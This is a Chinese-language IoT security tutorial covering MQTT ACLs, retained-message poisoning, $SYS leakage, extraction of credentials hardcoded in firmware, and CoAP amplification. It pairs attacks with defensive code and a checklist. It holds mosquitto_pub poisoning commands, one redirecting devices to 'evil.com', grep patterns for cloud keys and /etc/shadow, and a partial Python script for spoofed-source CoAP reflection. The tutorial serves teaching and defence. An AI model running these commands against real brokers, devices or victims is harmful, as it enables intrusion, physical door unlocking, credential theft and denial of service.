-- EMQX 支持用 SQL-like 语法写授权规则,比文件 ACL 强大很多

-- ========== ① 默认拒绝(最重要)==========
-- EMQX 5.x 在 Dashboard → 访问控制 → 授权 → 创建
-- 类型:deny,Action: all,Topic: #,添加为最后一条兜底规则
-- 或者在配置里:
authorization {
  no_match = deny          -- ★ 没匹配到规则 = 拒绝
  deny_action = ignore
  sources = [
    { type = file, path = "/etc/emqx/acl.conf" }
  ]
}

-- ========== ② 文件 ACL(/etc/emqx/acl.conf)==========

-- 禁止所有客户端订阅系统主题
{deny, all, subscribe, ["$SYS/#"]}.

-- 禁止所有客户端订阅 #(防止一个设备订阅全部数据)
{deny, all, subscribe, ["#"]}.

-- ★ 上面这条非常关键!配合下面的规则,
--   设备只能订阅自己的 Topic,不能订阅全部

-- 设备:可以发布自己的上行数据
{allow, {user, {re, "^device_.+$"}}, publish, ["devices/${username}/up/#"]}.

-- 设备:可以订阅自己的下行指令
{allow, {user, {re, "^device_.+$"}}, subscribe, ["devices/${username}/down/#"]}.

-- 设备:可以发布自己的状态(LWT)
{allow, {user, {re, "^device_.+$"}}, publish, ["devices/${username}/status"]}.

-- 平台服务:可以订阅所有上行、发布所有下行
{allow, {user, "platform_service"}, subscribe, ["devices/+/up/#"]}.
{allow, {user, "platform_service"}, publish, ["devices/+/down/#"]}.

-- 管理员(限 IP)
{allow, {and, [{user, "admin"}, {ipaddr, "10.0.0.0/8"}]}, all, ["#"]}.

-- ========== ③ 内置数据库 / HTTP 认证(生产推荐)==========
-- EMQX 可以对接 MySQL / PostgreSQL / Redis / HTTP API 做认证
-- 这样能动态管理百万设备,不用改配置文件

EMQX 对接 MySQL 做认证(生产级):

-- ============ 数据库表设计 ============

-- 设备表
CREATE TABLE mqtt_user (
    id          BIGINT PRIMARY KEY AUTO_INCREMENT,
    username    VARCHAR(100) NOT NULL UNIQUE,
    password_hash VARCHAR(100) NOT NULL COMMENT 'bcrypt hash',
    salt        VARCHAR(32),
    is_superuser TINYINT DEFAULT 0,
    status      TINYINT DEFAULT 1 COMMENT '1=启用 0=禁用',
    created_at  DATETIME DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_username (username)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- ACL 表
CREATE TABLE mqtt_acl (
    id       BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(100) NOT NULL,
    permission VARCHAR(20) NOT NULL COMMENT 'allow|deny',
    action   VARCHAR(20) NOT NULL COMMENT 'publish|subscribe|all',
    topic    VARCHAR(255) NOT NULL,
    INDEX idx_username (username)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- ============ 插入测试数据 ============
-- 密码用 bcrypt 加密(cost=12)
-- 明文 "device_secret_001" 的 bcrypt 示例
INSERT INTO mqtt_user (username, password_hash, is_superuser)
VALUES ('device_001', '$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN8/LewKyNiGHNe2CZqIu', 0);

-- ACL:设备只能访问自己的 Topic
INSERT INTO mqtt_acl (username, permission, action, topic) VALUES
('device_001', 'allow', 'publish',   'devices/device_001/up/#'),
('device_001', 'allow', 'subscribe', 'devices/device_001/down/#'),
('device_001', 'allow', 'publish',   'devices/device_001/status'),
('device_001', 'deny',  'subscribe', '#'),           -- ★ 禁止订阅全部
('device_001', 'deny',  'subscribe', '$SYS/#');      -- ★ 禁止订阅系统主题
-- EMQX 认证查询配置(Dashboard → 访问控制 → 认证 → MySQL)

-- 认证查询 SQL
-- 必须返回:password_hash, salt, is_superuser
SELECT password_hash, salt, is_superuser
FROM mqtt_user
WHERE username = ${username} AND status = 1
LIMIT 1

-- 密码加密方式:bcrypt
-- 加盐规则:suffix(hash 里已含 salt 时选 disable)

-- ACL 查询 SQL
-- 必须返回:permission, action, topic
SELECT permission, action, topic
FROM mqtt_acl
WHERE username = ${username}

-- 超级用户查询 SQL(可选)
SELECT is_superuser FROM mqtt_user WHERE username = ${username} LIMIT 1

5.5.6 保留消息(Retained)投毒 —— 持久化攻击

白话:保留消息是 Broker 记住的“每个 Topic 的最后一条消息”。 新订阅者一订阅,立刻就能收到这条消息,而不用等下一条。

生活类比: 正常消息 = 电台正在播的内容(你调到这个台才能听到) 保留消息 = 电台的“最新一期节目录音”(你任何时候调到这个台,先给你放这个)

为什么设计这个:设备上报的状态(比如“灯是开着的”), 新上线的 App 不用等设备下次上报,订阅的瞬间就能知道当前状态。

攻击价值:

★ 保留消息的攻击价值在于"持久性":
   普通消息:你发一条,只有当时在线的订阅者收到,发完就没了
   保留消息:你发一条,Broker 永久记住(直到被覆盖或删除),
             之后每一个订阅这个 Topic 的客户端都会立刻收到

   攻击效果:
     投毒一次 → 持续生效 → 所有新上线的设备/App 都中招

攻击实例:

# ========== ① 投毒设备配置 Topic ==========
# 假设设备启动时会订阅 config/server 拉取服务器地址
mosquitto_pub -h BROKER -t 'devices/config/server' \
    -m '{"host":"evil.com","port":443,"ssl":false}' -r

# 效果:所有设备上线后拉取配置 → 连到攻击者的服务器
#       → 攻击者拿到所有设备的数据,甚至能下发恶意固件

# ========== ② 投毒状态 Topic(欺骗)==========
mosquitto_pub -h BROKER -t 'factory/line1/motor001/status' \
    -m '{"status":"running","temp":45}' -r
# 效果:监控大屏显示电机正常运行,实际已经停机/过热
#       → 掩盖真实故障,导致事故

# ========== ③ 投毒指令 Topic ==========
mosquitto_pub -h BROKER -t 'home/garage/door/command' \
    -m '{"action":"open"}' -r
# 效果:门锁设备每次上线,都会立刻收到"开门"指令 ← 物理入侵

# ========== ④ 删除保留消息(破坏)==========
# 发一条空消息 + retain,就能删除保留消息
mosquitto_pub -h BROKER -t 'devices/config/server' -m '' -r -n
# 效果:设备拉不到配置 → 启动失败 → 设备变砖

# ========== ⑤ 探测有哪些保留消息(信息收集)==========
# 订阅 # 就能看到所有保留消息(Broker 会立刻推送)
timeout 10 mosquitto_sub -h BROKER -t '#' -v
# 这些消息即使你只订阅 1 秒也会全部收到

防御:

/**
 * MQTT 保留消息防护
 *
 * 三层防御:
 *   ① Broker 层:禁止客户端发布保留消息(大部分业务不需要)
 *   ② 应用层:监听保留消息事件,检测异常
 *   ③ 业务层:设备端对配置做签名校验
 */

// ===== ① EMQX 配置:禁止保留消息 =====
/*
# /etc/emqx/emqx.conf
mqtt {
    # 禁止客户端发布保留消息
    # ★ 这是最彻底的防御:如果业务不需要 retained,直接关掉
    retain_available = false

    # 或者限制保留消息的大小和数量
    max_retained_size = 1048576        # 单个保留消息最大 1MB
    max_retained_count = 100000        # 最多 10 万个保留消息
}
*/

// ===== ② 保留消息审计(EMQX 钩子 / Mosquitto 插件)=====
@Component
@Slf4j
public class RetainedMessageGuard {

    @Autowired
    private AlertService alertService;

    /**
     * 拦截保留消息发布
     * (EMQX 的 ExHook / 或者通过系统主题 $SYS 监控)
     */
    public boolean onRetainedPublish(String clientId, String username,
                                     String topic, byte[] payload) {
        // ===== ① 白名单:只允许特定账号发布保留消息 =====
        Set<String> allowedPublishers = Set.of("platform_service", "admin");
        if (!allowedPublishers.contains(username)) {
            log.warn("[MQTT] 非授权账号尝试发布保留消息. username={}, topic={}",
                     username, topic);
            alertService.send("MQTT_RETAIN_UNAUTHORIZED",
                String.format("账号 %s 尝试发布保留消息到 %s", username, topic));
            return false;    // 拒绝
        }

        // ===== ② 敏感 Topic 禁止保留 =====
        List<String> forbiddenPatterns = List.of(
            ".*/command$",        // 指令类 Topic 绝不允许保留
            ".*/control$",
            ".*/config.*",        // 配置类 Topic
            ".*/unlock$",
            "\\$SYS/.*"
        );
        for (String pattern : forbiddenPatterns) {
            if (topic.matches(pattern)) {
                log.error("[MQTT] 尝试对敏感 Topic 发布保留消息,已拦截. topic={}", topic);
                alertService.sendCritical("MQTT_RETAIN_SENSITIVE", topic);
                return false;
            }
        }

        // ===== ③ 大小限制 =====
        if (payload.length > 64 * 1024) {
            log.warn("[MQTT] 保留消息过大. topic={}, size={}", topic, payload.length);
            return false;
        }

        // ===== ④ 记录审计日志 =====
        auditLog.info("[MQTT] 保留消息发布. username={}, topic={}, size={}",
                      username, topic, payload.length);

        return true;    // 放行
    }

    /**
     * 监控保留消息变化(通过订阅系统主题)
     */
    @Scheduled(fixedDelay = 300_000)   // 5 分钟
    public void auditRetainedMessages() {
        // 定期扫描所有保留消息,比对基线
        // 发现异常(新增、被篡改)就告警
        Map<String, String> current = queryAllRetained();
        Map<String, String> baseline = loadBaseline();

        for (Map.Entry<String, String> entry : current.entrySet()) {
            String expected = baseline.get(entry.getKey());
            if (expected == null) {
                log.warn("[MQTT] 发现基线外的保留消息. topic={}", entry.getKey());
                alertService.send("MQTT_RETAIN_ANOMALY", entry.getKey());
            } else if (!constantTimeEquals(expected, entry.getValue())) {
                log.error("[MQTT] 保留消息被篡改!topic={}", entry.getKey());
                alertService.sendCritical("MQTT_RETAIN_TAMPERED", entry.getKey());
            }
        }
    }

    private boolean constantTimeEquals(String a, String b) {
        return MessageDigest.isEqual(
            a.getBytes(StandardCharsets.UTF_8),
            b.getBytes(StandardCharsets.UTF_8)
        );
    }
}

// ===== ③ 设备端:配置签名校验(最后一道防线)=====
/**
 * 设备端配置校验(固件伪代码)
 *
 * ★ 核心原则:永远不要无条件信任服务端下发的配置/固件
 *   必须验证签名,就像手机系统更新要验证厂商签名一样
 */
public class SecureConfigLoader {

    /**
     * 验证配置签名
     */
    public boolean verifyAndApply(String configJson, String signatureBase64) {
        try {
            // ① 解析配置
            DeviceConfig config = parseConfig(configJson);

            // ② ★ 校验版本号(防降级攻击)
            if (config.getVersion() < getCurrentVersion()) {
                log.warn("配置版本降级,拒绝应用. current={}, received={}",
                         getCurrentVersion(), config.getVersion());
                return false;
            }

            // ③ ★ 校验时间戳(防重放)
            long now = System.currentTimeMillis() / 1000;
            if (Math.abs(now - config.getTimestamp()) > 3600) {
                log.warn("配置时间戳异常,可能是重放攻击");
                return false;
            }

            // ④ ★ 验证 ECDSA 签名(最关键)
            //    公钥在出厂时烧录,不可篡改
            Signature sig = Signature.getInstance("SHA256withECDSA");
            sig.initVerify(loadFactoryPublicKey());
            sig.update(configJson.getBytes(StandardCharsets.UTF_8));

            if (!sig.verify(Base64.getDecoder().decode(signatureBase64))) {
                log.error("配置签名验证失败!可能是伪造的配置");
                reportSecurityIncident("CONFIG_SIGNATURE_INVALID");
                return false;      // ★ 签名不对,坚决不应用
            }

            // ⑤ 白名单校验:服务器地址必须在允许的域名列表里
            if (!isAllowedServer(config.getServerHost())) {
                log.error("服务器地址不在白名单: {}", config.getServerHost());
                return false;
            }

            // ⑥ 全部通过,应用配置
            applyConfig(config);
            log.info("配置已更新. version={}", config.getVersion());
            return true;

        } catch (Exception e) {
            log.error("配置校验异常", e);
            return false;
        }
    }

    /**
     * 服务器地址白名单
     */
    private boolean isAllowedServer(String host) {
        return host != null && (
            host.endsWith(".example.com") ||      // 主域名
            host.equals("iot.example.com")        // 明确的白名单
        );
        // ★ 不要用 contains("example.com"),会被 evil-example.com 绕过
    }
}

5.5.7 $SYS 系统主题泄露

$SYS 是什么:Broker 自己的运行状态主题,定时发布。

泄露内容(EMQX 示例):

mosquitto_sub -h BROKER -t '$SYS/#' -v

# ============ 版本信息(可查 CVE)============
$SYS/broker/version {"emqx":"4.4.3","otp":"24.1"}
#   → 查 CVE:EMQX 4.4.3 有无已知漏洞

# ============ 客户端清单(★ 最敏感)============
$SYS/brokers/emqx@10.0.0.5/clients/device_001/connected
{
  "clientid":"device_001",
  "username":"device_001",
  "ipaddress":"223.104.x.x",
  "proto_ver":4,
  "keepalive":60,
  "connected_at":1700000000
}
#   → 完整的设备 ID 清单 + 真实 IP + 上线时间
#   → 攻击者可据此:定向攻击特定设备、推断业务规模、社工

# ============ 订阅关系(★ 能推断业务结构)============
$SYS/broker/subscriptions/count 3412
#   某些 Broker 还能列出具体谁订阅了什么

# ============ 运行指标(可用于判断攻击效果)============
$SYS/broker/clients/connected 1523
$SYS/broker/clients/maximum 8901
$SYS/broker/messages/received 1293847
$SYS/broker/messages/sent 2938471
$SYS/broker/messages/dropped 1234
$SYS/broker/load/messages/received/1min 234.5
$SYS/broker/load/messages/sent/5min 1876.2
$SYS/broker/uptime 2938400
$SYS/broker/datetime 2026-09-02 13:20:45
#   → 攻击者 DoS 时,可以通过这些指标判断"打死了没有"

防御:

# Mosquitto:通过 ACL 禁止
# /etc/mosquitto/acl
topic deny $SYS/#
# ★ 必须放在所有 allow 规则之前(顺序匹配)

# EMQX:配置禁用
# /etc/emqx/emqx.conf
sys_topics {
    # 完全禁用 $SYS 主题
    enable = false
}

# 或者只保留必要的,禁止敏感的
sys_topics {
    enable = true
    # 客户端上下线事件(很多业务依赖)保留
    # 但版本、IP 等敏感信息通过 ACL 限制
}

5.5.8 固件里的硬编码凭据(MQTT 最大的结构性缺陷)

问题的本质:

MQTT 是设备主动连 Broker,设备必须持有凭据。
但设备是批量生产的,凭据怎么给每台设备?

方案对比:
  ① 所有设备用同一个账号密码  ← 最常见,也最致命
     后果:一台设备被拆,所有设备的凭据全泄露
           (固件提取只要 10 分钟)

  ② 每台设备烧录唯一凭据       ← 正确做法
     代价:生产过程要为每台设备生成并烧录,需要产线支持
          设备要安全存储凭据(需要安全芯片 / TEE)

  ③ 设备证书(mTLS)           ← 最安全
     代价:证书管理复杂,需要 PKI 体系

固件提取实战:

# ========== 步骤 1:拿到固件 ==========
# 方式 A:官网下载(最容易,很多人忘了 firmware 页面也要鉴权)
wget https://vendor.com/firmware/device_v2.1.3.bin

# 方式 B:OTA 升级时抓包(中间人,如果没校验证书)
# 方式 C:拆机读 Flash(见 5.8 节)
# 方式 D:从设备 shell 里 dump(如果有 UART / telnet)

# ========== 步骤 2:识别固件格式 ==========
file firmware.bin
# firmware.bin: u-boot legacy uImage, Linux-3.10.14, ...

binwalk firmware.bin
# DECIMAL       HEXADECIMAL     DESCRIPTION
# 0             0x0             uImage header
# 64            0x40            LZMA compressed data
# 1048576       0x100000        Squashfs filesystem, little endian

# ========== 步骤 3:提取文件系统 ==========
binwalk -e firmware.bin          # -e = extract
# 或者
binwalk -Me firmware.bin         # -M = 递归提取(嵌套的文件系统)
cd _firmware.bin.extracted/squashfs-root/

# ========== 步骤 4:搜索凭据 ==========

# ★ 最常见:直接在配置文件里
grep -rE "mqtt|broker|mqtt_server|MQTT_HOST" . 2>/dev/null | head -20
# ./etc/config/mqtt.conf:
#   broker_host = "mqtt.vendor.com"
#   broker_port = 1883
#   username = "device"
#   password = "Dev1ce@2024!"          ← ★ 拿到了!

# 在二进制里搜字符串
strings -n 8 ./usr/bin/device_app | grep -iE "mqtt|pass|token|key|secret"
# MQTT_CLIENT_ID
# mqtt://device:Dev1ce@2024!@mqtt.vendor.com:1883   ← ★ URI 里直接带密码

# 搜常见的配置文件位置
cat ./etc/config/*
cat ./etc/passwd                  # 可能有后门账号
cat ./etc/shadow                  # 可能有 root 密码 hash

# 搜私钥
find . -name "*.pem" -o -name "*.key" -o -name "*.p12"
# ./etc/ssl/private/client.key     ← ★ 客户端私钥!

# 搜云凭据
grep -rE "AKIA[0-9A-Z]{16}" .     # AWS Access Key
grep -rE "AccessKeyId|SecretAccessKey" .
grep -rE "AIza[0-9A-Za-z_-]{35}" . # Google API Key

# ========== 步骤 5:验证凭据有效 ==========
mosquitto_sub -h mqtt.vendor.com -u device -P 'Dev1ce@2024!' -t '#' -v
# Connection Code: 0  ← 成功!整个系统的所有数据都能看到

# ========== 自动化工具 ==========
# firmwalker:自动扫描固件里的敏感信息
git clone https://github.com/craigz28/firmwalker
./firmwalker.sh ./squashfs-root/

# 输出:
#   [+] Possible MQTT credentials:
#       ./etc/config/mqtt.conf
#   [+] Possible private keys:
#       ./etc/ssl/private/client.key
#   [+] Possible passwords:
#       ./etc/passwd

✅ 正确做法:一机一密 + 动态凭据

/**
 * 设备凭据管理:一机一密 + 动态下发
 *
 * ★ 核心思想:
 *   1. 出厂时烧录:设备唯一 ID + 设备私钥(或预共享密钥)
 *   2. 首次联网时,用设备证书/密钥做"设备认证"
 *   3. 认证通过后,服务端下发【临时的】MQTT 凭据
 *   4. 凭据定期轮换
 *
 * 好处:
 *   - 固件里没有写死的 MQTT 密码(提取固件也拿不到能直接用的凭据)
 *   - 每台设备的凭据不同(一台泄露不影响其他)
 *   - 凭据有过期时间(泄露后影响有限)
 *   - 可以单独吊销某台设备
 *
 * 生活类比:
 *   写死密码 = 所有员工共用一把大门钥匙(丢一把,全公司换锁)
 *   一机一密 = 每个员工一张工牌(丢一张,只吊销那一张)
 *   动态凭据 = 工牌每天失效,第二天要重新激活
 */
@Service
@Slf4j
public class DeviceCredentialService {

    @Autowired
    private DeviceRegistry deviceRegistry;

    @Autowired
    private MqttCredentialRepository credentialRepo;

    /**
     * 设备激活:用出厂密钥换取 MQTT 凭据
     *
     * 流程(设备首次启动时调用一次):
     *   1. 设备用出厂私钥对随机数签名
     *   2. 服务端用设备公钥验证签名
     *   3. 验证通过 → 生成 MQTT 凭据 → 返回给设备
     */
    public MqttCredential activateDevice(DeviceActivateRequest request) {
        // ===== ① 查找设备 =====
        Device device = deviceRegistry.findByDeviceId(request.getDeviceId())
                .orElseThrow(() -> new BizException("设备未注册"));

        // ===== ② ★ 验证设备签名(最关键)=====
        // 设备用出厂烧录的私钥对 challenge 签名,
        // 服务端用预存的公钥验证
        // 这一步证明"你是真的设备,不是伪造的"
        if (!verifyDeviceSignature(
                device.getPublicKey(),
                request.getChallenge(),
                request.getSignature())) {

            log.error("[设备激活] 签名验证失败. deviceId={}, ip={}",
                      request.getDeviceId(), request.getClientIp());
            securityEventService.record("DEVICE_SIGNATURE_INVALID",
                                        request.getDeviceId());
            throw new BizException("设备认证失败");
        }

        // ===== ③ 检查设备状态 =====
        if (device.getStatus() == DeviceStatus.DISABLED) {
            throw new BizException("设备已被禁用");
        }
        if (device.getStatus() == DeviceStatus.COMPROMISED) {
            // 已标记为失陷的设备,拒绝激活并告警
            log.error("[设备激活] 疑似失陷设备尝试激活. deviceId={}", device.getDeviceId());
            alertService.sendCritical("COMPROMISED_DEVICE_ACTIVATION", device.getDeviceId());
            throw new BizException("设备认证失败");
        }

        // ===== ④ 生成唯一凭据(每台设备不同)=====
        String username = "dev_" + device.getDeviceId();
        String password = generateSecurePassword();     // 32 字节随机

        // ===== ⑤ 存储(BCrypt hash,不存明文)=====
        MqttCredential credential = MqttCredential.builder()
                .deviceId(device.getDeviceId())
                .username(username)
                .passwordHash(BCrypt.hashpw(password, BCrypt.gensalt(12)))
                .issuedAt(System.currentTimeMillis())
                .expiresAt(System.currentTimeMillis() + Duration.ofDays(90).toMillis())
                .status(CredentialStatus.ACTIVE)
                .build();
        credentialRepo.save(credential);

        // ===== ⑥ 写入 Broker(动态生效,不用重启)=====
        mqttAdminClient.addUser(username, password);
        mqttAdminClient.addAcl(username, "devices/" + device.getDeviceId() + "/up/#", "publish");
        mqttAdminClient.addAcl(username, "devices/" + device.getDeviceId() + "/down/#", "subscribe");
        mqttAdminClient.addAcl(username, "#", "deny");        // ★ 禁止订阅全部
        mqttAdminClient.addAcl(username, "$SYS/#", "deny");   // ★ 禁止系统主题

        // ===== ⑦ 更新设备状态 =====
        device.setStatus(DeviceStatus.ACTIVATED);
        device.setLastActivateAt(System.currentTimeMillis());
        device.setLastActivateIp(request.getClientIp());
        deviceRegistry.save(device);

        log.info("[设备激活] 成功. deviceId={}, 凭据有效期 90 天", device.getDeviceId());

        // ===== ⑧ 返回凭据(只返回这一次,之后查不到明文)=====
        return new MqttCredential(username, password,
                                  System.currentTimeMillis() + Duration.ofDays(90).toMillis());
    }

    /**
     * 凭据轮换(定期执行)
     */
    @Scheduled(cron = "0 0 3 * * ?")    // 每天凌晨 3 点
    public void rotateExpiringCredentials() {
        // 找出 7 天内过期的凭据
        long threshold = System.currentTimeMillis() + Duration.ofDays(7).toMillis();
        List<MqttCredential> expiring =
            credentialRepo.findExpiringBefore(threshold, CredentialStatus.ACTIVE);

        log.info("[凭据轮换] 开始轮换 {} 个即将过期的凭据", expiring.size());

        for (MqttCredential cred : expiring) {
            try {
                // ① 生成新凭据
                String newPassword = generateSecurePassword();

                // ② 更新 Broker(先加新的)
                mqttAdminClient.updatePassword(cred.getUsername(), newPassword);

                // ③ 更新数据库
                cred.setPasswordHash(BCrypt.hashpw(newPassword, BCrypt.gensalt(12)));
                cred.setIssuedAt(System.currentTimeMillis());
                cred.setExpiresAt(System.currentTimeMillis() + Duration.ofDays(90).toMillis());
                credentialRepo.save(cred);

                // ④ 通过 MQTT 下发新凭据给设备(加密通道)
                mqttPushService.pushNewCredential(cred.getDeviceId(), newPassword);

                log.debug("[凭据轮换] 完成. deviceId={}", cred.getDeviceId());

            } catch (Exception e) {
                log.error("[凭据轮换] 失败. deviceId={}", cred.getDeviceId(), e);
            }
        }
    }

    /**
     * 吊销单个设备(发现失陷时)
     */
    @Transactional
    public void revokeDevice(String deviceId, String reason) {
        MqttCredential cred = credentialRepo.findByDeviceId(deviceId)
                .orElseThrow(() -> new BizException("凭据不存在"));

        // ① 从 Broker 删除用户(立即生效,设备下次重连连不上)
        mqttAdminClient.deleteUser(cred.getUsername());

        // ② 断开该设备当前的所有连接
        mqttAdminClient.kickClient("dev_" + deviceId);

        // ③ 更新数据库状态
        cred.setStatus(CredentialStatus.REVOKED);
        cred.setRevokedAt(System.currentTimeMillis());
        cred.setRevokeReason(reason);
        credentialRepo.save(cred);

        // ④ 更新设备状态
        deviceRegistry.markCompromised(deviceId, reason);

        log.warn("[设备吊销] deviceId={}, reason={}", deviceId, reason);
        alertService.send("DEVICE_REVOKED", deviceId + " - " + reason);
    }

    private String generateSecurePassword() {
        byte[] bytes = new byte[32];
        SecureRandom.getInstanceStrong().nextBytes(bytes);
        return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
    }

    private boolean verifyDeviceSignature(String publicKeyPem, byte[] challenge,
                                          byte[] signature) {
        try {
            // 解析公钥
            String base64 = publicKeyPem
                .replace("-----BEGIN PUBLIC KEY-----", "")
                .replace("-----END PUBLIC KEY-----", "")
                .replaceAll("\\s", "");
            X509EncodedKeySpec keySpec =
                new X509EncodedKeySpec(Base64.getDecoder().decode(base64));
            PublicKey publicKey =
                KeyFactory.getInstance("EC").generatePublic(keySpec);

            // 验证签名
            Signature sig = Signature.getInstance("SHA256withECDSA");
            sig.initVerify(publicKey);
            sig.update(challenge);
            return sig.verify(signature);

        } catch (Exception e) {
            log.error("设备签名验证异常", e);
            return false;
        }
    }
}

5.5.9 MQTT 安全检查清单

MQTT 上线前必查(15 项):

认证:
  ☐ allow_anonymous false(★ 最重要,禁用匿名)
  ☐ 使用 TLS(8883 端口),不用明文 1883
  ☐ 一机一密,不用全局共享密码
  ☐ 密码用 BCrypt/Argon2 存储,不存明文
  ☐ 高安全场景用 mTLS(客户端证书)
  ☐ 固件里不硬编码可用凭据

授权(ACL):
  ☐ 默认拒绝(no_match = deny)
  ☐ 禁止订阅 #(防止一台设备订阅全部数据)
  ☐ 禁止订阅 $SYS/#(防止泄露设备清单和 IP)
  ☐ 设备只能访问自己 ID 下的 Topic(用 %u / ${username} 变量)
  ☐ 上行(up/)和下行(down/)Topic 分离
  ☐ 禁止设备发布保留消息到指令/配置类 Topic

协议与资源:
  ☐ 限制单条消息大小(≤1MB)
  ☐ 限制最大连接数
  ☐ 限制 inflight 消息数(防 QoS2 内存耗尽)
  ☐ 限制离线消息队列长度
  ☐ 设置合理的 keepalive 和超时

监控:
  ☐ 记录连接/断开/认证失败日志
  ☐ 告警:认证失败次数异常(爆破)
  ☐ 告警:同一 ClientID 多地登录(克隆设备)
  ☐ 告警:保留消息被篡改
  ☐ 告警:订阅 # 或 $SYS/# 的行为

5.6 CoAP 安全(UDP 上的迷你 HTTP)

5.6.1 CoAP 是什么

白话:CoAP 是给极度受限的设备用的“迷你 HTTP”,跑在 UDP 上。

为什么不用 HTTP:

场景:一个纽扣电池供电的温度传感器,要工作 2 年

HTTP 的问题:
  - TCP 三次握手 = 3 个往返(耗电)
  - TCP 头部 20 字节(对 6LoWPAN 的 127 字节 MTU 来说太大)
  - HTTP 头部几百字节(一条温度数据才几个字节,头比身体大)
  - 必须保持连接(耗电)

CoAP 的解法:
  - 跑在 UDP 上(无连接,无握手)
  - 头部只有 4 字节!(对比 HTTP 的几百字节)
  - 二进制格式(不是文本)
  - 支持 CON/NON 两种消息(可靠/不可靠,自己选)
  - 支持 Observe(订阅资源变化,类似 MQTT 的订阅)

CoAP 报文头只有 4 字节:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Ver| T |  TKL  |      Code     |          Message ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   Token (0-8 bytes)  |   Options  |  Payload Marker (0xFF) ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Ver  = 版本(2 位)= 01
T    = 类型(2 位):CON(0) 需要确认 / NON(1) 不需要 / ACK(2) / RST(3)
TKL  = Token 长度(4 位)
Code = 方法/响应码(8 位):0.01=GET  0.02=POST  2.05=Content
Message ID = 消息 ID(16 位)

CoAP 与 HTTP 的对应关系:

HTTP CoAP 说明
GET 0.01 获取资源
POST 0.02 创建/处理
PUT 0.03 更新资源
DELETE 0.04 删除资源
200 OK 2.05 Content 成功
404 4.04 Not Found 未找到
http:// coap:// UDP 端口 5683
https:// coaps:// DTLS 端口 5684

5.6.2 ★ 放大反射攻击(CoAP 最致命的问题)

原理(和 DNS 放大一样,但更狠):

放大反射三要素:
  ① 协议跑在 UDP 上(可以伪造源 IP)
  ② 请求包小、响应包大(放大倍数)
  ③ 服务器不验证源 IP

CoAP 完美符合:
  ① UDP(无握手,源 IP 可以随便填)
  ② 请求最小 4 字节头部!响应可以是几 KB
     → 放大倍数可达 10~50 倍
  ③ CoAP 默认无认证,来者不拒

攻击流程:
  攻击者(1 Mbps 带宽)
      │
      │ 伪造源 IP = 受害者 IP
      │ 发送请求:GET /.well-known/core(4 字节 + 几字节 URI)
      ↓
  CoAP 服务器 × 10000 台
      │
      │ 每台返回几 KB 的资源列表
      ↓
  受害者(收到 10~50 Mbps 流量)→ 带宽打满 → 服务不可用

实测放大倍数(真实研究数据):

请求 请求大小 响应大小 放大倍数
GET /.well-known/core ~20 字节 200~2000 字节 10~100 倍
GET /large-resource ~15 字节 数 KB 100~500 倍
Observe 订阅 ~30 字节 持续推送 无限(持续性)

攻击复现(授权环境):

#!/usr/bin/env python3
"""
CoAP 放大反射攻击演示(仅用于授权测试环境)

原理:
  1. 构造 CoAP GET 请求
  2. 伪造源 IP 为受害者 IP
  3. 发给大量开放的 CoAP 服务器
  4. 服务器把响应发给受害者
"""
import socket
import struct
import random
import sys

def build_coap_get(uri_path: str = ".well-known/core",
                   msg_id: int = None) -> bytes:
    """
    构造 CoAP GET 请求

    CoAP 头部(4 字节):
      Ver(2) | T(2) | TKL(4) | Code(8) | Message ID(16)

    Ver  = 01 (版本 1)
    T    = 01 (NON,不需要确认 —— 攻击者用 NON 更快)
    TKL  = 0000 (无 token)
    Code = 0.01 (GET) → 编码为 0b00000001 = 0x01

    Option 11 = Uri-Path
    """
    if msg_id is None:
        msg_id = random.randint(0, 65535)

    # 第一个字节:Ver(2) T(2) TKL(4)
    #   Ver=01, T=01(NON), TKL=0000
    byte0 = 0b01_01_0000   # = 0x50

    # 第二个字节:Code
    byte1 = 0x01           # GET

    # 第 3-4 字节:Message ID(大端)
    header = struct.pack('!BBH', byte0, byte1, msg_id)

    # Uri-Path Option
    # Option 格式:Delta(4) | Length(4) | Value
    #   Delta = 11 - 0 = 11(上一个 option number 是 0)
    #   Length = len(uri_path)
    options = b''
    for i, segment in enumerate(uri_path.split('/')):
        seg_bytes = segment.encode('utf-8')
        seg_len = len(seg_bytes)

        # Option delta:第一段是 11,后续是 0(都是 Uri-Path)
        delta = 11 if i == 0 else 0

        # 处理 delta 和 length 的扩展(>12 时需要扩展字节)
        # 这里简化处理,假设都 < 13
        if delta < 13 and seg_len < 13:
            options += struct.pack('!B', (delta << 4) | seg_len)
            options += seg_bytes
        else:
            # 扩展格式(略)
            pass

    return header + options


def spoof_attack(victim_ip: str, coap_servers: list, duration: int = 60):
    """
    伪造源 IP 发起攻击

    注意:UDP 伪造源 IP 需要能发送原始套接字(通常需要 root)
    """
    print(f"[*] 目标受害者: {victim_ip}")
    print(f"[*] CoAP 服务器数量: {len(coap_servers)}")
    print(f"[*] 持续时间: {duration} 秒")

    # 创建原始套接字(需要 root 权限)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    except PermissionError:
        print("[-] 需要 root 权限才能发送原始套接字")
        return

    payload = build_coap_get()

    print(f"[*] 请求包大小: {len(payload)} 字节")
    print(f"[*] 预期响应: 200~2000 字节")
    print(f"[*] 预期放大倍数: 10~100 倍")

    import time
    end_time = time.time() + duration
    sent = 0

    while time.time() < end_time:
        for target in coap_servers:
            try:
                target_ip, target_port = target.split(':')
                target_port = int(target_port)
                send_spoofed_udp(sock, victim_ip, random.randint(1024, 65535),
                                 target_ip, target_port, payload)
                sent += 1
            except Exception as e:
                pass

    print(f"[+] 攻击结束,共发送 {sent} 个伪造请求")


def send_spoofed_udp(sock, src_ip, src_port, dst_ip, dst_port, payload):
    """手工构造 UDP + IP 包,伪造源 IP"""
    # UDP 头部
